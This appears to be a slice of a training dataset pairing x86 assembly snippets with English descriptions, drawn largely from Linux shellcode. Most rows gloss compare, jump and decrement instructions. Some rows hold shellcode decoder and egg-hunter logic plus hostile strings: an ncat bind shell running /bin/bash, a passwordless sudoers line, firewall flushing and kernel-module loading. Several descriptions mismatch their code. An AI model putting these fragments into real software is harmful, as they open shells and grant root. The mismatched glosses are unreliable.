| cmp al, 9 \n jge l1 if the contents of the al register is greater than or equal to the decimal value 9 then jump to the label l1
|
| cmp al, bl \n ja l2 \n add eax, 3 jump to the l2 label if the unsigned contents of the al register is greater than the unsigned contents of the bl register else add the value 3 to the eax register
|
| cmp al, bl \n ja l2 \n add eax, 3 if the unsigned contents of the al register is greater than the unsigned contents of the bl register then jump to the l2 label else add the value 3 to the eax register
|
| cmp al, bl \n jb l2 jump to the label l2 if the unsigned contents of the al register is lower than the unsigned contents of the bl register
|
| cmp al, bl \n jb l2 if the unsigned contents of the al register is lower than the unsigned contents of the bl register then jump to the label l2
|
| cmp al, cl compare the contents of al with the cl register
|
| cmp al, cl compare the contents of the al register and the contents of the cl register
|
| cmp al, cl \n jne short decode \n jmp shellcode if the contents of the al register is not equal to the contents of the cl register then jump short to the decode label else jump to the shellcode label
|
| cmp al, cl \n jne short decode \n jmp shellcode jump short to the decode label if the contents of the al register is not equal to the contents of the cl register else jump to the shellcode label
|
| cmp al, cl \n jnz short decode \n jmp shellcode check if reached the end of shellcode comparing cl with al register. if not return to _decode label else go to _shellcode label
|
| cmp al, cl \n jnz short decode \n jmp shellcode jump short to decode if al is not equal to cl else jump to shellcode
|
| cmp al,0xaa \n je decode_insertion if al regsiter content is equal to the hexadecimal value 0xaa jump to decode_insertion label
|
| cmp al,0xf2 \n jz _start if efault page alignment
|
| cmp ax, bx \n jne l3 jump to the l3 label if the contents of the ax register is not equal to the contents of the bx register
|
| cmp ax, bx \n jne l3 if the contents of the ax register is not equal to the contents of the bx register then jump to the l3 label
|
| cmp ax, bx \n jne l3 \n jmp while if the contents of the ax register is not equal to the contents of the bx register then jump to the l3 label else jump to the while label
|
| cmp ax, bx \n jne l3 \n jmp while jump to the l3 label if the contents of the ax register is not equal to the contents of the bx register else jump to the while label
|
| cmp bh, al compare the contents of bh and the contents of al
|
| cmp bl, 0x1f compare the contents of bl and 0x1f
|
| cmp bl, 0x1f \n jb 0xf3 \n add al, 0x40 jump to the memory address 0xf3 if the unsigned contents of the bl register is lower than the unsigned value 0x1f else add the 0x40 value to the al register
|
| cmp bl, 0x1f \n jb 0xf3 \n add al, 0x40 if the unsigned contents of the bl register is lower than the unsigned value 0x1f then jump to the memory address 0xf3 else add the 0x40 value to the al register
|
| cmp bl, 0xaa \n je shellcode if the contents of the bl register is equal to the value 0xaa then jump to the shellcode label
|
| cmp bl, 0xaa \n je shellcode jump to the shellcode label if the contents of the bl register is equal to the value 0xaa
|
| cmp bl, 0xaa \n jz shellcode jump to shellcode if bl is equal to 0xaa
|
| cmp bl, 0xaa \n jz shellcode \n cmp bl, 0xbb \n jz xordecode jmp notdecode compare the content of bl register with the end character, 0xaa. if they arer equal go to shellcodelable, else compare the content of bl register with the character 0xbb that is the placeholder for xor. if they are equal go to _xordecode label. else go to _notdecode label.
|
| cmp bl, 0xbb \n je xordecode \n jmp notdecode if the contents of the bl register is equal to the value 0xbb then jump to the xordecode label else jump to the notdecode label
|
| cmp bl, 0xbb \n je xordecode \n jmp notdecode jump to the xordecode label if the contents of the bl register is equal to the value 0xbb else jump to the notdecode label
|
| cmp bl, 0xbb \n jz xordecode \n jmp notdecode jump to xordecode if bl is equal to 0xbb else jump to notdecode
|
| cmp bl, 48 compare ebx register's lower half value against ascii value 48
|
| cmp bl, 57 compare ebx register's lower half value against ascii value 57
|
| cmp bl, 78h \n jg short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is greater than the value 78h
|
| cmp bl, 78h \n jg short loc_402B1D if the contents of the bl register is greater than the value 78h then jump to the memory location loc_402B1D
|
| cmp bl, 78h \n jge short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is greater than or equal to the value 78h
|
| cmp bl, 78h \n jge short loc_402B1D if the contents of the bl register is greater than or equal to the value 78h then jump to the memory location loc_402B1D
|
| cmp bl, 78h \n jl short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is less than the value 78h
|
| cmp bl, 78h \n jl short loc_402B1D if the contents of the bl register is less than the value 78h then jump to the memory location loc_402B1D
|
| cmp bl, 78h \n jle short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is less than or equal to the value 78h
|
| cmp bl, 78h \n jle short loc_402B1D if the contents of the bl register is less than or equal to the value 78h then jump to the memory location loc_402B1D
|
| cmp bl, al \n je loop_2 jump to the loop_2 label if the contents of the bl register is equal to the contents of the al register
|
| cmp bl, al \n je loop_2 if the contents of the bl register is equal to the contents of the al register then jump to the loop_2 label
|
| cmp bl, al \n je loop_2 \n jmp short not_found jump to the loop_2 label if the contents of the bl register is equal to the contents of the al register else jump short to the not_found label
|
| cmp bl, al \n je loop_2 \n jmp short not_found if the contents of the bl register is equal to the contents of the al register then jump to the loop_2 label else jump short to the not_found label
|
| cmp byte [buff], 61h compare the byte at the memory location buff with 61h
|
| cmp byte [buff], 7ah compare the byte at the memory location buff with 7ah
|
| cmp byte [eax], 0 compare the byte pointed to by eax at this address against zero
|
| cmp byte [ebp+ecx], 61h compare the byte at the memory location ebp+ecx with 61h
|
| cmp byte [ebp+ecx], 7ah compare the byte at the memory location ebp+ecx with 7ah
|
| cmp BYTE [edx], 0x2e \n jne l2 jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e
|
| cmp BYTE [edx], 0x2e \n jne l2 if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e then jump to the l2 label
|
| cmp BYTE [edx], 0x2e \n jne l2 \n jmp while jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e else jump to the while label
|
| cmp BYTE [edx], 0x2e \n jne l2 \n jmp while if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e then jump to the l2 label else jump to the while label
|
| cmp byte [esi], 0x7 compare the byte in esi with 0x7
|
| cmp BYTE [esi], 0x7 \n jl lowbound jump to the lowbound label if the byte starting at the address contained in the esi register is lower than the byte value 0x7
|
| cmp BYTE [esi], 0x7 \n jl lowbound if the byte starting at the address contained in the esi register is lower than the byte value 0x7 then jump to the lowbound label
|
| cmp BYTE [esi], 0x7 \n jl lowbound \n sub BYTE [esi], 0x7 if the byte starting at the address contained in the esi register is lower than the byte value 0x7 then jump to the lowbound label else subtract the byte value 0x7 from byte starting at the address contained in the esi register
|
| cmp BYTE [esi], 0x7 \n jl lowbound \n sub BYTE [esi], 0x7 jump to the lowbound label if the byte starting at the address contained in the esi register is lower than the byte value 0x7 else subtract the byte value 0x7 from byte starting at the address contained in the esi register
|
| cmp BYTE [esi], 0x7 \n jle lowbound if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0x7 then jump to the lowbound label
|
| cmp BYTE [esi], 0x7 \n jle lowbound jump to the lowbound label if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0x7
|
| cmp byte [esi], 0x88 \n jz shellcode jump to shellcode label if the byte in esi is equal to 0x88
|
| cmp byte [esi], 0xd compare the byte at the address esi and 0xd
|
| cmp byte [esi], 0xd \n jl wrap_around if esi content is less then 13 go to wrap_aroud
|
| cmp byte [esi], 0xD \n jl wrap_around jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than the byte value 0xD
|
| cmp byte [esi], 0xD \n jl wrap_around if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label
|
| cmp byte [esi], 0xD \n jl wrap_around \n sub byte [esi], 0xD jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than the byte value 0xD else subtract the byte value 0xD from byte starting at the address contained in the esi register
|
| cmp byte [esi], 0xD \n jl wrap_around \n sub byte [esi], 0xD if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label else subtract the byte value 0xD from byte starting at the address contained in the esi register
|
| cmp byte [esi], 0xD \n jle wrap_around if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0xD then jump to the wrap_around label
|
| cmp byte [esi], 0xD \n jle wrap_around jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0xD
|
| cmp byte [esi], bl \n jne not_equal jump to not_equal if the current byte of the shellcode is not equal to bl
|
| cmp BYTE al, 2 \n je do_inject jump to the label do_inject if the byte representation of 2 is equal to the contents of the al register
|
| cmp BYTE al, 2 \n je do_inject if the byte representation of 2 is equal to the contents of the al register then jump to the label do_inject
|
| cmp BYTE al, 2 \n je do_inject \n jmp while jump to the label do_inject if the byte representation of 2 is equal to the contents of the al register else jump to the while label
|
| cmp BYTE al, 2 \n je do_inject \n jmp while if the byte representation of 2 is equal to the contents of the al register else jump to the while label then jump to the label do_inject
|
| cmp BYTE bl, [esi] \n jne loop_1 jump to the label loop_1 if the first byte of the esi register is not equal to the contents of the bl register
|
| cmp BYTE bl, [esi] \n jne loop_1 if the first byte of the esi register is not equal to the contents of the bl register then jump to the label loop_1
|
| cmp cl, 0x11 \n jb 0xff \n add dl, 0x5 jump to the memory address 0xff if the unsigned contents of the cl register is lower than the unsigned value 0x11 else add the 0x5 value to the dl register
|
| cmp cl, 0x11 \n jb 0xff \n add dl, 0x5 if the unsigned contents of the cl register is lower than the unsigned value 0x11 then jump to the memory address 0xff else add the 0x5 value to the dl register
|
| cmp cl, 0x3 \n jne loop jump to the loop label if the contents of the cl register is not equal to the value 0x3
|
| cmp cl, 0x3 \n jne loop if the contents of the cl register is not equal to the value 0x3 then jump to the loop label
|
| cmp cl, 0x3 \n jne loop2 jump to the loop2 label if the contents of the cl register is not equal to the value 0x3
|
| cmp cl, 0x3 \n jne loop2 if the contents of the cl register is not equal to the value 0x3 then jump to the loop2 label
|
| cmp cl, 0xff \n jne dup2 if the contents of cl are not equal to the hexadecimal value oxff, jump to the _dup2 label
|
| cmp cl, 12 \n jg l2 jump to the label l2 if the contents of the cl register is greater than the decimal value 12
|
| cmp cl, 12 \n jg l2 if the contents of the cl register is greater than the decimal value 12 then jump to the label l2
|
| cmp cl, 12 \n jge l2 jump to the label l2 if the contents of the cl register is greater than or equal to the decimal value 12
|
| cmp cl, 12 \n jge l2 if the contents of the cl register is greater than or equal to the decimal value 12 then jump to the label l2
|
| cmp cl, dl \n jb l3 jump to the label l3 if the unsigned contents of the cl register is lower than the unsigned contents of the dl register
|
| cmp cl, dl \n jb l3 if the unsigned contents of the cl register is lower than the unsigned contents of the dl register then jump to the label l3
|
| cmp cl, dl \n je encodedshellcode if cl contents is equal to dl contents jump to _encodedshellcode label
|
| cmp cl, dl \n je EncodedShellcode jump to the EncodedShellcode label if the contents of the cl register is equal to the contents of the dl register
|
| cmp cl, dl \n je EncodedShellcode if the contents of the cl register is equal to the contents of the dl register then jump to the EncodedShellcode label
|
| cmp cl, dl \n je init if cl contents is equal to dl contents jump to _init label
|
| cmp cl, dl \n je init \n inc cl jump to the init label if the contents of the cl register is equal to the contents of the dl register else increment the contents of the cl register
|
| cmp cl, dl \n je init \n inc cl if the contents of the cl register is equal to the contents of the dl register then jump to the init label else increment the contents of the cl register
|
| cmp cx, 2 \n jle dupcount jump to dupcount if cx is less than or equal to 2 with sign
|
| cmp dl, 1 \n je exit \n jmp reading jump to the exit label if the contents of the dl register is equal to the vale 1 else jump to the reading label
|
| cmp dl, 1 \n je exit \n jmp reading if the contents of the dl register is equal to the vale 1 then jump to the exit label else jump to the reading label
|
| cmp dl, 1h compare the contents of the dl register and 1h
|
| cmp dl, 1h \n jz exit compare 1h and dl content and go to _exit if flag zero is set
|
| cmp dl, 27 \n jg l3 if the contents of the dl register is greater than the decimal value 27 then jump to the label l3
|
| cmp dl, 27 \n jg l3 jump to the label l3 if the contents of the dl register is greater than the decimal value 27
|
| cmp dl, 27 \n jge l3 jump to the label l3 if the contents of the dl register is greater than or equal to the decimal value 27
|
| cmp dl, 27 \n jge l3 if the contents of the dl register is greater than or equal to the decimal value 27 then jump to the label l3
|
| cmp dl, cl \n jb l1 \n mov al, 0x39 jump to the label l1 if the unsigned contents of the dl register is lower than the unsigned contents of the cl register else move the value 0x39 to the al register
|
| cmp dl, cl \n jb l1 \n mov al, 0x39 if the unsigned contents of the dl register is lower than the unsigned contents of the cl register then jump to the label l1 else move the value 0x39 to the al register
|
| cmp dword [eax-4], egg1 compare the dword at the address [eax-4] and egg1
|
| cmp dword [eax-4], egg1 \n jne _next \n jmp eax jump to the _next label if the doubleword starting at the address [eax-4] is not equal to the contents stored at the egg1 address else jump to the eax register
|
| cmp dword [eax-4], egg1 \n jne _next \n jmp eax if the doubleword starting at the address [eax-4] is not equal to the contents stored at the egg1 address then jump to the _next label else jump to the eax register
|
| cmp dword [eax-4], egg2 \n je _next \n jmp eax jump to the _next label if the doubleword starting at the address [eax-4] is equal to the contents stored at the egg2 address else jump to the eax register
|
| cmp dword [eax-4], egg2 \n je _next \n jmp eax if the doubleword starting at the address [eax-4] is equal to the contents stored at the egg2 address then jump to the _next label else jump to the eax register
|
| cmp dword [eax-4],egg1 compare the dword at the memory location [eax-4] with the value of egg1
|
| cmp dword [eax-8], egg compare the dword at the address [eax-8] and egg
|
| cmp dword [eax-8], egg \n jne _next jump to the _next label if the doubleword starting at the address [eax-8] is not equal to the contents stored at the egg address
|
| cmp dword [eax-8], egg \n jne _next if the doubleword starting at the address [eax-8] is not equal to the contents stored at the egg address then jump to the _next label
|
| cmp dword [eax-8],egg compare the dword at the memory location [eax-8] with the value of egg
|
| cmp DWORD [eax], 0x4f904790 \n jne _start \n jmp eax jump to the jne _start label if the doubleword starting at the address contained in the eax register is not equal to the doubleword value 0x4f904790 else jump to the eax register
|
| cmp DWORD [eax], 0x4f904790 \n jne _start \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the doubleword value 0x4f904790 then jump to the jne _start label else jump to the eax register
|
| cmp dword [eax], ebx compare the dword at the address [eax] and the contents of the ebx register
|
| cmp dword [eax], ebx \n jne next_addr \n jmp eax if ebx content is not equal to the double word contained into eax register go to next_adrr label else go to eax address
|
| cmp dword [eax], ebx \n jne next_addr \n jmp eax jump to the next_address label if the doubleword starting at the address contained in the eax register is not equal to the contents of the ebx regoster else jump to the eax register
|
| cmp dword [eax], ebx \n jne next_addr \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the ebx regoster then jump to the next_address label else jump to the eax register
|
| cmp DWORD [eax], edx \n jne loop \n jmp eax jump to the loop label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register
|
| cmp DWORD [eax], edx \n jne loop \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the loop label else jump to the eax register
|
| cmp dword [eax], edx \n jne search_the_egg compare eax with the egg_sig, if not compare jump to search_the_egg
|
| cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax jump to the while label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register
|
| cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax jump to the search_the_egg label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register
|
| cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the while label else jump to the eax register
|
| cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the search_the_egg label else jump to the eax register
|
| cmp DWORD [edx], 0x636f7270 \n je while if the doubleword starting at the address contained in the edx register is equal to the doubleword value 0x636f7270 then jump to the while label
|
| cmp DWORD [edx], 0x636f7270 \n je while jump to the while label if the doubleword starting at the address contained in the edx register is equal to the doubleword value 0x636f7270
|
| cmp dword [esi + edx + 5], edi \n jz execute_shellcode jump to execute_shellcode if the doubleword in esi+edx+5 is equal to edi
|
| cmp dword [var], 10 compare the doubleword stored at memory location var to the integer value 10
|
| cmp dword ptr [eax],edx \n jne loop id edx content and dword pointed by eax are different go to loop label
|
| cmp dx, 00 compare the dx value with zero
|
| cmp dx, 0x03e8 \n je L1 jump to the L1 label if the contents of the dx register is equal to the value 0x03e8
|
| cmp dx, 0x03e8 \n je L1 if the contents of the dx register is equal to the value 0x03e8 then jump to the L1 label
|
| cmp eax, 0 compare eax to zero
|
| cmp eax, 0 compare if eax is equal to 0
|
| cmp eax, 0 compare if eax is zero
|
| cmp eax, eax compare the contents of eax and the contents of eax
|
| cmp eax, eax \n jne 0x8 jump to the memory address 0x8 if the contents of the eax register is not equal to the contents of the eax register
|
| cmp eax, eax \n jne 0x8 if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8
|
| cmp eax, eax \n jne 0x8 \n xor eax, eax jump to the memory address 0x8 if the contents of the eax register is not equal to the contents of the eax register else zero out the eax register
|
| cmp eax, eax \n jne 0x8 \n xor eax, eax if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8 else zero out the eax register
|
| cmp eax, ebp \n jnz short loc_40102B jump short to the memory location loc_40102B if the contents of the eax register is not equal to the contents of the ebp register
|
| cmp eax, ebp \n jnz short loc_40102B if the contents of the eax register is not equal to the contents of the ebp register then jump short to the memory location loc_40102B
|
| cmp eax, ebx compare eax with ebx
|
| cmp eax, ebx compare the contents of eax and the contents of ebx
|
| cmp eax, ebx compare the contents of the eax register and the contents of the ebx register
|
| cmp eax, ebx \n je 0x47 jump to the memory address 0x47 if the contents of the eax register is equal to the contents of the edi register
|
| cmp eax, ebx \n je 0x47 if the contents of the eax register is equal to the contents of the edi register then jump to the memory address 0x47
|
| cmp eax, ebx \n je 0x47 \n xor ecx, ecx if the contents of the eax register is equal to the contents of the edi register then jump to the memory address 0x47 else zero out the ecx register
|
| cmp eax, ebx \n je 0x47 \n xor ecx, ecx jump to the memory address 0x47 if the contents of the eax register is equal to the contents of the edi register else zero out the ecx register
|
| cmp eax, ebx \n je all if eax and ebx content are equal go to _all label
|
| cmp eax, ebx \n je all jump to the all label if the contents of the eax register is equal to the contents of the ebx register
|
| cmp eax, ebx \n je all if the contents of the eax register is equal to the contents of the ebx register then jump to the all label
|
| cmp eax, ebx \n je all \n xor eax, eax jump to the all label if the contents of the eax register is equal to the contents of the ebx register else zero out the eax register
|
| cmp eax, ebx \n je all \n xor eax, eax if the contents of the eax register is equal to the contents of the ebx register then jump to the all label else zero out the eax register
|
| cmp eax, ebx \n je child jump to the child label if the contents of the eax register is equal to the contents of the ebx register
|
| cmp eax, ebx \n je child if the contents of the eax register is equal to the contents of the ebx register then jump to the child label
|
| cmp eax, ebx \n je connect \n ja exit compare ebx and eax content. if they are equal go to _connect label, else go to _exit label
|
| cmp eax, ebx \n je connect \n ja exit jump to the connect label if the contents of the eax register is equal to the contents of the ebx register else jump to the exit label if the unsigned contents of the eax register is greater than the unsigned contents of the ebx register
|
| cmp eax, ebx \n je connect \n ja exit if the contents of the eax register is equal to the contents of the ebx register then jump to the connect label else jump to the exit label if the unsigned contents of the eax register is greater than the unsigned contents of the ebx register
|
| cmp eax, ebx \n je download if the contents of the eax register is equal to the contents of the ebx register then jump to the download label
|
| cmp eax, ebx \n je download jump to the download label if the contents of the eax register is equal to the contents of the ebx register
|
| cmp eax, ebx \n je exit if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label
|
| cmp eax, ebx \n je exit jump to the exit label if the contents of the eax register is equal to the contents of the ebx register
|
| cmp eax, ebx \n je exit \n add al, 0x3 jump to the exit label if the contents of the eax register is equal to the contents of the ebx register else move the value 0x3 into the al register
|
| cmp eax, ebx \n je exit \n add al, 0x3 if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label else move the value 0x3 into the al register
|
| cmp eax, ebx \n je exit \n mov al, 0x4 jump to the exit label if the contents of the eax register is equal to the contents of the ebx register else move the value 0x4 into the al register
|
| cmp eax, ebx \n je exit \n mov al, 0x4 if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label else move the value 0x4 into the al register
|
| cmp eax, ebx \n je L1 jump to the L1 label if the contents of the eax register is equal to the contents of the ebx register
|
| cmp eax, ebx \n je L1 if the contents of the eax register is equal to the contents of the ebx register then jump to the L1 label
|
| cmp eax, ebx \n jne retry jump to the retry label if the contents of the eax register is not equal to the contents of the ebx register
|
| cmp eax, ebx \n jne retry if the contents of the eax register is not equal to the contents of the ebx register then jump to the retry label
|
| cmp eax, ebx \n jz 0x47 compare eax with ebx content, if the xero flag is set go to the address 0x47
|
| cmp eax, edi \n jne infinite if edi content is not equal to eax content go to _infinite label
|
| cmp eax, edi \n jne infinite jump to the infinite label if the contents of the eax register is not equal to the contents of the edi register
|
| cmp eax, edi \n jne infinite if the contents of the eax register is not equal to the contents of the edi register then jump to the infinite label
|
| cmp eax, edi \n jne infinite \n xor eax, eax jump to the infinite label if the contents of the eax register is not equal to the contents of the edi register else zero out the eax register
|
| cmp eax, edi \n jne infinite \n xor eax, eax if the contents of the eax register is not equal to the contents of the edi register then jump to the infinite label else zero out the eax register
|
| cmp eax,0xf3ab0aba compare hexadecimal value 0xf3ab0aba with eax
|
| cmp eax,ebx compare the contents of eax with ebx
|
| cmp eax,ebx \n je exit if eax content is equal to ebx content jump to _exit label
|
| cmp eax,ebx \n jne retry compare ebx with eax content. if they are not equal go to _retry label
|
| cmp eax,ebx \n jz download compare ebx and eax content then jump to download_label if the result of the comparison is 0
|
| cmp ebp, 0 compare the contents of the ebp register with the value 0
|
| cmp ebx, 0 compare if ebx is zero
|
| cmp ebx, 9 \n ja exit \n jmp loop jump to the exit label if the unsigned contents of the ebx register is greater than the unsigned value 10 else jump to the loop label
|
| cmp ebx, 9 \n ja exit \n jmp loop if the unsigned contents of the ebx register is greater than the unsigned value 10 then jump to the exit label else jump to the loop label
|
| cmp ecx, 0 compare ecx to 0
|
| cmp ecx, 0 compare if ecx is zero
|
| cmp ecx, 0h compare ecx with 0h
|
| cmp ecx, 10 compare if ecx is equal to 10
|
| cmp ecx, 100 compare if ecx is equal to 100
|
| cmp ecx, 100 compare if our counter is equal to 100
|
| cmp ecx, 5 compare ecx with 5
|
| cmp ecx, ebp compare ecx and ebp
|
| cmp ecx, ebp compare the contents of the ecx register with the contents of the ebp register
|
| cmp ecx, edx \n ja l1 jump to the l1 label if the unsigned contents of the ecx register is greater than the unsigned contents of the edx register
|
| cmp ecx, edx \n ja l1 if the unsigned contents of the ecx register is greater than the unsigned contents of the edx register then jump to the l1 label else
|
| cmp edi, 0 compare if edi is equal to 0
|
| cmp edx, 0 compare if edx is zero
|
| cmp edx, 0x43 \n ja loop \n push edx jump to the loop label if the unsigned contents of the edx register is greater than the unsigned value 0x43 else push the contents of the edx register onto the stack
|
| cmp edx, 0x43 \n ja loop \n push edx if the unsigned contents of the edx register is greater than the unsigned value 0x43 then jump to the loop label else push the contents of the edx register onto the stack
|
| cmp edx, 10 compare whether the edx register has reached 10
|
| cmp edx, 42 compare the contents of edx to 42
|
| cmp edx, 42 \n je short loc_402B13 jump to loc_402B13 if the contents of the edx register is equal to 42
|
| cmp edx, 42 \n je short loc_402B13 if the contents of the edx register is equal to 42 then jump to loc_402B13
|
| cmp edx, ebx compare the contents of edx and the contents of ebx
|
| cmp edx, ebx \n je 0x8 \n jump to the memory address 0x8 if the contents of the edx register is equal to the contents of the ebx register
|
| cmp edx, ebx \n je 0x8 \n if the contents of the edx register is equal to the contents of the ebx register then jump to the memory address 0x8
|
| cmp edx, ebx \n je 0x8 \n mov ebx, edx jump to the memory address 0x8 if the contents of the edx register is equal to the contents of the ebx register else move the contents of the edx register into the ebx register
|
| cmp edx, ebx \n je 0x8 \n mov ebx, edx if the contents of the edx register is equal to the contents of the ebx register then jump to the memory address 0x8 else move the contents of the edx register into the ebx register
|
| cmp esi, 10 compare if esi is equal to 10
|
| cmp esi, edx \n je find_egg jump to the find_egg label if the contents of the esi register is equal to the contents of the edx register
|
| cmp word [ecx], 0x5951 compare the word at the address ecx and 0x5951
|
| cmp word [ecx], 0x5951 \n loopnz next \n jmp ecx compare ecx content with the marker, then decrement ecx by 1 and if cx != 0 and the zero flag is clear go to _next else go to ecx address
|
| cmp[esi], edx \n jz find_egg \n call esi check if we have found the egg. in case of negative response go to find_egg label else call esi
|
| cmps byte ptr ds:[esi],byte ptr es:[edi] subtract the value at location esi from the value a location edi without saving results. update flags based on the subtraction and the index registers esi and edi.
|
| code: declare code_label
|
| code: define the code label
|
| common_commands: \n inc esi in common_commands point to the next byte in esi
|
| connect: define _connect label
|
| connect: define connect function
|
| cont: define _cont label
|
| cont: define the cont label
|
| contents db 'hello world!', 0h define a string db and initialize to 'hello world!'
|
| createfile: define _createfile label
|
| createfile: declare the createfile label
|
| createfile: define createfile function
|
| cycle: define cycle label
|
| cycle: define cycle
|
| cycle: declare the cycle label
|
| D1: \n mov bl, byte [esi] in D1 move the current byte of the shellcode in the bl register
|
| D1: \n mov cl, byte [esi] declare D1 and move the current byte of the shellcode in the cl register
|
| D1: \n mov dl, byte [esi] declare D1 and move the current byte of the shellcode in the dl register
|
| D1: \n pop esi \n mov edi, esi in D1 save the shellcode in esi and move it to edi
|
| D2: \n not byte [esi] declare the function D2 and negate the byte in esi
|
| D2: \n not byte [esi] define the function D2 and negate the byte in esi
|
| D2: \n not byte [esi] declare the function D2 and negate the current byte of the shellcode
|
| D2: \n pop esi \n mov edi, esi define D2 save the in esi the pointer to the shellcode and move esi into edi
|
| D3: \n add byte [esi], 5 declare the ruotine D3 and add the value 5 to the current byte of the shellcode
|
| D3: \n add byte [esi], 8 declare the ruotine D3 and add the value 8 to the current byte of the shellcode
|
| D3: \n pop esi \n mov edi, esi declare the function D3, store the shellcode in edi and move the pointer into esi
|
| D3: \n sub byte [esi], 7 define function D3 and subtract 7 from the current byte of the shellcode
|
| D4: \n pop esi \n mov edi, esi in D4 store the shellcode in edi and move the pointer into esi
|
| D4: \n xor byte [esi], 0x1 define the function D4 and perform the xor operation between the byte in esi and the 0x1 value
|
| D4: \n xor byte [esi], 0x12 define the function D4 and perform the xor operation between the byte of the shellcode and the 0x12 value
|
| D4: \n xor byte [esi], 0x5 define the function D4 and perform the xor operation between the byte in esi and the 0x5 value
|
| das decimal adjust al register after subtraction.
|
| das correct the result in al register of the previous bcd subtraction operation.
|
| data: declare the data label
|
| db ',ajm,pk#########' define the byte string ',ajm,pk#########'
|
| db '/bin/sh' define a byte string and initialize it to '/bin/sh'
|
| db '/bin/sh' define the byte string '/bin/sh'
|
| db '/bin/sh#sh#' define the byte string '/bin/sh#sh#'
|
| db '/etc/passwd#' define the byte string '/etc/passwd#'
|
| db '/proc/sys/kernel/randomize_va_spacex' define the byte string '/proc/sys/kernel/randomize_va_spacex'
|
| db '/sbin/insmod#/tmp/o.o' define the byte string '/sbin/insmod#/tmp/o.o'
|
| db '/sbin/ipchains#-f#' define the byte string '/sbin/ipchains#-f#'
|
| db '/sbin/iptables#-f#' define the byte string '/sbin/iptables#-f#'
|
| db '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd' define the byte string '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd'
|
| db '0',10 define the byte string '0',10
|
| db 'all all=(all) nopasswd: all', 0xa define the byte string 'all all=(all) nopasswd: all'
|
| db 'cp /bin/sh /tmp/sh' define the byte string 'cp /bin/sh /tmp/sh'
|
| db 'egg mark' initialize a string to 'egg mark'
|
| db 'egg mark' define the byte string 'egg mark'
|
| db 'my.txtx' define the byte string 'my.txtx'
|
| db 'rm -f /tmp/f' define the byte string 'rm -f /tmp/f'
|
| db 0ah define the byte string Ô0ahÕ
|
| db 0b1h define the byte string Ô0b1hÕ
|
| db 0b8h define the byte string Ô0b8hÕ
|
| db 0c6h define the byte string Ô0c6hÕ
|
| db 0d8h define the byte string Ô0d8hÕ
|
| db 0e2h define the byte string Ô0e2hÕ
|
| db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b define an array of bytes and initialize it to 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b
|
| db 0x68 declare a byte contining 0x68
|
| db 0x68 declare a byte with no label containing the value 0x68
|
| db 0x80 declare a byte and initialize it to 0x80
|
| db 0x80 declare an unlabeled byte initialized to 0x80
|
| db 0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d define an array of bytes and initialize it to 0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d
|
| db 0xcd define a byte and initialize it to 0xcd
|
| db 0xcd define the byte 0xcd
|
| db 10 declare a byte with no label containing the value 10
|
| db 10 declare an unlabeled byte initialized to 10
|
| db 20h define the byte string Ô20hÕ
|
| db 24h define the byte string Ô24hÕ
|
| db 60h define the byte string Ô60hÕ
|
| db 69h define the byte string Ô69hÕ
|
| db 70h define the byte string Ô70hÕ
|
| db 80h define the byte string Ô80hÕ
|
| db 81h define the byte string Ô81hÕ
|
| db 83h define the byte string Ô83hÕ
|
| db 87h define the byte string Ô87hÕ
|
| db 8bh define the byte string Ô8bhÕ
|
| db 9ah define the byte string Ô9ahÕ
|
| dd 0xdeadbeef define a byte and initialize it to 0xdeadbeef
|
| dd 0xdeadbeef \n dd 0xdeadbeef define double word 0xdeadbeef two times
|
| dec al \n jz shellcode decrement the al register and jump to shellcode if the result is zero
|
| dec bl \n jnz L1 decrement the bl register and jump to L1 if the result is not zero
|
| dec bl \n jz L1 decrement the bl register and jump to L1 if the result is zero
|
| dec byte dl decrement the byte at the address dl by one
|
| dec byte dl decrement the byte in dl
|
| dec cl decrement cl by1
|
| dec cl decrement cl register by 1
|
| dec cl decrement cl register
|
| dec cl drement cl content by 1
|
| dec cl decrement counter
|
| dec cl decrement the counter
|
| dec cl decrement the cl register by one
|
| dec cl decrement the contents of cl
|
| dec cl decrement the contents of the cl register
|
| dec cl \n jns dup2 decrement the contents of the cl register and jump to the dup2 label if the result is not negative
|
